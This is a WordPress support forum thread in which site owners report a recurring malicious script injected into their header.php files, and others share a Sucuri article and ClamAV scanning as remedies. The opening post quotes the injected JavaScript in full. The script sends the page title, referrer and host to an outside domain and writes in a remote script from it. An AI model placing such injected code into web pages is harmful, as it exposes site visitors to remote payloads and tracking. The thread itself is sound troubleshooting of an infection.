Title: Altered header.php
Last modified: August 30, 2016

---

# Altered header.php

 *  [cucinareblog](https://wordpress.org/support/users/cucinareblog/)
 * (@cucinareblog)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/altered-headerphp/)
 * Hy, it’s now 2 tims in two days that I find on my header.php, just before the
   closing head tag, a script like this:
    <script>var a=”; setTimeout(10); var default_keyword
   = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.
   referrer); var host = encodeURIComponent(window.location.host); var base = “[http://kasper.co.at/js/jquery.min.php&#8221](http://kasper.co.at/js/jquery.min.php&#8221);;
   var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + 
   se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” +
   encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !=
   = ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type
   =”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>
 * Today the link was to another site, but the script was similar…what can I do???

Viewing 6 replies - 1 through 6 (of 6 total)

 *  Thread Starter [cucinareblog](https://wordpress.org/support/users/cucinareblog/)
 * (@cucinareblog)
 * [10 years, 6 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700275)
 * another info: the site is a develop directory, and it’s protected by password,
   the permission is 444
 *  [tonic0211](https://wordpress.org/support/users/tonic0211/)
 * (@tonic0211)
 * [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700435)
 * I have the same Problem with the same Script. I delete the Script in header.php
   and 48h it is back. I think its a new Virus/Script and there is not a lot of 
   knowing for this 🙁 You have a solution now?
 *  [tonic0211](https://wordpress.org/support/users/tonic0211/)
 * (@tonic0211)
 * [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700436)
 * [https://blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html](https://blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html)
 *  [wrazlaw](https://wordpress.org/support/users/wrazlaw/)
 * (@wrazlaw)
 * [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700440)
 * I have the same problem and I’ve checked my files with sucuri and wordfence, 
   but the best solution was to check the files with the **ClamAV® Virus Scanner**
   which is installed in my cPanel. It has detected many infected files and they
   were mostly index.php in different directories. I hope this can help..
 *  Thread Starter [cucinareblog](https://wordpress.org/support/users/cucinareblog/)
 * (@cucinareblog)
 * [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700441)
 * Thanks a lot wrazlaw!!
 *  [jwgraves](https://wordpress.org/support/users/jwgraves/)
 * (@jwgraves)
 * [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700442)
 * Thanks for the information wrazlaw! Very helpful!

Viewing 6 replies - 1 through 6 (of 6 total)

The topic ‘Altered header.php’ is closed to new replies.

## Tags

 * [header.php](https://wordpress.org/support/topic-tag/header-php/)
 * [script](https://wordpress.org/support/topic-tag/script/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 6 replies
 * 4 participants
 * Last reply from: [jwgraves](https://wordpress.org/support/users/jwgraves/)
 * Last activity: [10 years, 5 months ago](https://wordpress.org/support/topic/altered-headerphp/#post-6700442)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics